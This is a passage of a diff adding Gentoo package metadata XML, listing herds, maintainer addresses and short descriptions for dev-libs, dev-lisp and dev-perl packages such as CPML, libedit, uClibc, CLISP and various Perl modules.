+CPML enables customers to significantly increase the precision and speed of mathematical calculations by more than 10 times compared to other mathematical libraries currently available on Linux. The Compaq Portable Math Library (CPML) is identical in content to that of Compaq Tru64 UNIX libm and consequently can be considered as a replacement for the Linux Alpha Libm.  In particular the CPML provides intrinsic function support for the C and Fortran languages as defined by the X/Open, ANSI C and ANSI Fortran standards. The CPML supports IEEE single, double and quad precision floating point formats.
+
+The standard CPML routines are significantly faster than the corresponding routines in the Linux Alpha libm and with a few exceptions are also faster than the corresponding libffm routines.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libcxml">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+Compaq Extended Math Library (CXML) is a set of mathematical subprograms that are optimized for the Alpha architecture. Included subprograms cover the areas of Basic Linear Algebra, Linear System and Eigenproblem Solvers, Sparse Linear System Solvers, Sorting, Random Number Generation, and Signal Processing.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libdaemon">
+<herd>no-herd</herd>
+<maintainer>
+  <email>wmertens@gentoo.org</email>
+  <name>Wout Mertens</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libedit">
+<herd>no-herd</herd>
+<maintainer>
+  <email>vapier@gentoo.org</email>
+</maintainer>
+<longdescription>
+GNU Readline is cool, but BSD Readline is cooler :)
+Thus here is libedit by the NetBSD folks!
+The glibc/bsdlibc stuff comes from the debian tarball, thanks to them too :)
+The patch is handcrafted with a few ideas from libedit.sf.net and a few ideas
+from the debian package.  This patch aims to be as small as possible (so as
+to make future cvs snapshots cake).
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libezV24">
+<herd>no-herd</herd>
+<maintainer>
+  <email>weeve@gentoo.org</email>
+  <name>Jason Wever</name>
+</maintainer>
+<longdescription>
+The goal of this library is to provide an easy to use programming interface to the serial ports of the Linux system. This release comes with some support for the CYGWIN toolchain. Due to the great work of the cygwin folks, only minimal changes are needed. I know that the cygwin-stuff of `ezV24' isn't the final stuff, but it's a first step and it works.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libgeotiff">
+<herd>no-herd</herd>
+<maintainer>
+  <email>rphillips@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libgringotts">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libiiimcf">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libiiimp">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libmal">
+<herd>pda</herd>
+<maintainer><email>brain@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libmimedir">
+<herd>pda</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libmoe">
+<herd>cjk</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libmrproject">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libots">
+<herd>no-herd</herd>
+<maintainer>
+  <email>taviso@gentoo.org</email>
+  <name>Tavis Ormandy</name>
+</maintainer>
+<longdescription>
+libots provides compiled code support for the Compaq compiler suite, and supported libraries.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libpq++">
+<herd>postgresql</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libprelude">
+	<herd>hardened</herd>
+	<maintainer>
+		<email>mboman@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libsigc++">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libstroke">
+<herd>no-herd</herd>
+<maintainer>
+  <email>plasmaroo@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libtasn1">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libtc">
+<herd>no-herd</herd>
+<maintainer>
+  <email>marc.hildebrand@t-online.de</email>
+  <name>Marc Hildebrand</name>
+  <description>Possible dev status soon</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libticables">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libticalcs">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libtifiles">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libxml2">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/libxslt">
+<herd>gnome</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/ltxml">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pythonhead@gentoo.org</email>
+  <name>Rob Cakebread</name>
+</maintainer>
+<longdescription>
+Integrated set of XML tools and a developers tool-kit with C API
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/nana">
+<herd>no-herd</herd>
+<maintainer>
+  <email>pYrania@gentoo.org</email>
+  <name>Markus Nigbur</name>
+</maintainer>
+<longdescription>
+	GNU Nana is a free library providing improved support for assertion
+	checking (as in assert.h) and logging (printf style debugging) in GNU C
+	and C++. It provides support for some of the ideas of Eiffel, VDM, Z
+	and Anna in GNU C/C++.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/nss">
+<herd>no-herd</herd>
+<maintainer><email>liquidx@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/oniguruma">
+<herd>cjk</herd>
+<longdescription>
+Oniguruma is a regular expression library.  The characteristics of
+this library is that different character encoding for every regular
+expression object can be specified.  (Supported character encodings:
+ASCII, UTF-8, EUC-JP, Shift_JIS)
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/openssl">
+<herd>no-herd</herd>
+<maintainer>
+  <email>aliz@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/pcl">
+<herd>no-herd</herd>
+<maintainer>
+ <email>klieber@gentoo.org</email>
+</maintainer>
+<longdescription>
+The Portable Coroutine Library (PCL) implements the low level functionality for coroutines. Coroutines are a very simple cooperative multitasking environment where the switch from one task to another is done explicitly by a function call. Coroutines are a lot faster than processes or threads switch, since there is no OS kernel involvement for the operation. Also coroutines require much less OS resources than processes of threads. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/proj">
+<herd>sci</herd>
+<maintainer>
+  <email>twp@gentoo.org</email>
+  <name>Tom Payne</name>
+  <description>Primary Maintainer</description>
+</maintainer>
+<longdescription>Proj.4 cartograpic projection code for forward and inverse 
+coordinate and projection transformations.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/pwlib">
+<herd>voip</herd>
+<herd>gnome</herd>
+<maintainer>
+	<email>stkn@gentoo.org</email>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/qsa">
+<herd>qt</herd>
+<maintainer>
+  <email>brain@gentoo.org</email>
+</maintainer>  
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/shapelib">
+<herd>sci</herd>
+<maintainer>
+  <email>nerdboy@gentoo.org</email>
+  <name>Steve Arnold</name>
+  <description>Ad-hoc Maintainer</description>
+</maintainer>
+<longdescription>Shapelib is for working with ESRI shape files, a format used by the commercial ArcInfo GIS package.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/suikyo">
+<herd>cjk</herd>
+<herd>ruby</herd>
+<maintainer>
+  <email>usata@gentoo.org</email>
+  <name>Mamoru KOMACHI</name>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/szip">
+<herd>sci</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/tc2-modules">
+<herd>no-herd</herd>
+<maintainer>
+  <email>marc.hildebrand@t-online.de</email>
+  <name>Marc Hildebrand</name>
+  <description>Possible dev status soon</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/tc2">
+<herd>no-herd</herd>
+<maintainer>
+  <email>marc.hildebrand@t-online.de</email>
+  <name>Marc Hildebrand</name>
+  <description>Possible dev status soon</description>
+</maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/uclibc">
+  <herd>no-herd</herd>
+  <maintainer>
+    <email>vapier@gentoo.org</email>
+    <description>Primary Maintainer</description>
+  </maintainer>
+  <maintainer>
+    <email>solar@gentoo.org</email>
+    <description>Secondary Maintainer</description>
+  </maintainer>
+  <longdescription>
+uClibc pronounced yew-see-lib-see is a C library for developing embedded Linux 
+systems. It is much smaller than the GNU C Library, but nearly all applications supported 
+by glibc also work perfectly with uClibc. Porting applications from glibc to uClibc 
+typically involves just recompiling the source code. uClibc even supports shared libraries 
+and threading. It currently runs on standard Linux and MMU-less (also known as uClinux) 
+systems with support for alpha, ARM, cris, i386, i960, h8300, m68k, mips/mipsel, PowerPC, 
+SH, SPARC, and v850 processors.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-libs/xerces-c">
+<herd>no-herd</herd>
+<maintainer>
+  <email>zhen@gentoo.org</email>
+  <name>John Davis</name>
+  <description>Full time maintainer, please post all bugs to me.</description>
+</maintainer>
+<longdescription>xerces-c is a C++ library specializing in XML parsing. It is released by
+the Apache Foundation</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/bigloo">
+<herd>no-herd</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Temporary maintainer. This should go in the lisp herd</description>
+</maintainer>
+<longdescription>
+Bigloo is a Scheme implementation devoted to one goal: enabling Scheme
+based programming style where C(++) is usually required. Bigloo attempts
+to make Scheme practical by offering features usually presented by
+traditional programming languages but not offered by Scheme and functional
+programming. Bigloo compiles Scheme modules. It delivers small and fast
+stand alone binary executables. Bigloo enables full connections between
+Scheme and C programs, between Scheme and Java programs, and between
+Scheme and C# programs.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-acl-compat">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-aima">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-albert">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-arnesi">
+<herd>common-lisp</herd>
+<longdescription>
+arnesi is a collection of small bits and pieces of common lisp
+code. It includes, among other things: * usefull flow control macros -
+while, whichever, if-bind, etc. * a simple logging facility
+kind-of/sort-of/maybe like log4j. * url and html escaping * list
+pattern matching * collecting and reducing macros * an ad-hoc, bug
+ridden implementation of half of call/cc.  * hygenic macros
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-asdf">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-aserve">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-awk">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-base64">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-binary-types">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-blowfish">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-cclan">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-db-sockets">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-defsystem3">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-gd">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-getopt">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-html-template">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-htmlgen">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-hyperobject">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-imho">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-inflate">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-interpol">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-jpeg">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-kmrcl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-lexer">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-lml">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-lml2">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-md5">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-odcl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-osicat">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-parse-number">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-pg">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-phtml">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-pipes">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-png">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-port">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-ppcre">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-ptester">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-puri">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-pxml">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-quick-arrays">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-regex">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-bitcomp">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-bool-comp">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-cache">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-delayed">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-filter">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-finance">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-fuzzy">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-gen-prog">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-genetic-alg">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-memo">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-mod">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-modal">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-mpoly">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-queue">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-rand">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-random">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rsm-string">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-rt">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-sdl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-sha1">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-split-sequence">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-sql">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-ssl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-statistics">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-syslog">
+<herd>common-lisp</herd>
+<longdescription>
+cl-syslog is a Common Lisp library that provides access to the syslog
+logging facility under Unix. The code was taken from OnShore's ODCL
+and has been enhanced to include an ASDF system, conditions, options
+to openlog(3) and it now uses UFFI instead of CMUCL-specific FFI
+code.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-tclink">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-ubf">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-uffi">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-uncommonsql">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-unit">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-who">
+<herd>common-lisp</herd>
+<longdescription>
+There are plenty of Lisp Markup Languages out there - every Lisp
+programmer seems to write at least one during his career - and CL-WHO
+(where WHO means &quot;with-html-output&quot; for want of a better acronym) is
+probably just as good or bad as the next one. They are all more or
+less similar in that they provide convenient means to convert
+S-expressions intermingled with code into (X)HTML, XML, or whatever
+but differ with respect to syntax, implementation, and
+API.</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-xlunit">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-xmls">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cl-xptest">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/clisp">
+<herd>common-lisp</herd>
+<longdescription>
+CLISP is a Common Lisp implementation. It mostly supports the Lisp
+described in the ANSI Common Lisp standard.  It includes an
+interpreter, a compiler, almost all of CLOS, a foreign language
+interface and a socket interface. An X11 interface is available
+through CLX and Garnet. Command line editing is provided by readline.
+CLISP runs on microcomputers (OS/2, Windows 95/98/NT/2000/XP, Amiga
+500-4000, Acorn RISC PC) as well as on Unix workstations (GNU/Linux,
+BSD, SVR4, Sun4, DEC Alpha OSF, HP-UX, NeXTstep, SGI, AIX, Sun3 and
+others) and needs only 2 MB of RAM.  The user interface comes in
+German, English, French, Spanish, Dutch and Russian, and can be
+changed at run time.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cmucl-bin">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cmucl-source">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/cmucl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/common-lisp-controller">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/ecls-cvs">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/ecls">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/gauche-gtk">
+<herd>no-herd</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Temporary maintainer until a Lisp herd is created</description>
+</maintainer>
+
+<longdescription>
+Gauche extension module to use GTK.
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/gauche">
+<herd>no-herd</herd>
+<maintainer>
+  <email>karltk@gentoo.org</email>
+  <name>Karl Trygve Kalleberg</name>
+  <description>Temporary maintainer until a lisp herd is created</description>
+</maintainer>
+
+<longdescription>
+Gauche is an R5RS Scheme implementation developed to be a handy script
+interpreter, which allows programmers and system administrators to write
+small to large scripts for their daily chores. Quick startup, built-in
+system interface, native multilingual support are some of my goals.
+
+Gauche runs on several Unix-like platforms. 
+</longdescription>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/gcl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/hyperspec">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/lush">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/sbcl-mt">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/sbcl">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-lisp/xlispstat">
+<herd>common-lisp</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-ml/ulex">
+<herd>ml</herd>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Acme-Pr0n-Automate">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Algorithm-Diff">
+<herd>sci</herd>
+<maintainer><email>sediener@gentoo.org</email></maintainer>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Apache-DBI">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Apache-Gallery">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Apache-Session">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Apache-Test">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/AppConfig">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Archive-Rar">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Archive-Tar">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Archive-Zip">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Array-Window">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/AtExit">
+	<herd>perl</herd>
+	<maintainer>
+		<email>robbat2@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Attribute-Handlers">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Audio-CD-disc-cover">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Audio-Tools">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Audio-Wav">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Authen-PAM">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Authen-SASL">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/AxKit">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/BSD-Resource">
+	<herd>perl</herd>
+	<maintainer>
+		<email>agriffis@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/BerkeleyDB">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Secondary Maintainer</description>
+	</maintainer>
+	<maintainer>
+		<email>stuart@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Bit-Vector">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CDDB-File">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CDDB_get">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CGI-FastTemplate">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CGI">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/CORBA-ORBit">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Cache-Cache">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Cgi-Simple">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Chart-Math-Axis">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
+		<description>Primary Maintainer</description>
+	</maintainer>
+	<longdescription/>
+</pkgmetadata>
+<pkgmetadata pkgname="dev-perl/Chart">
+	<herd>perl</herd>
+	<maintainer>
+		<email>perl@gentoo.org</email>
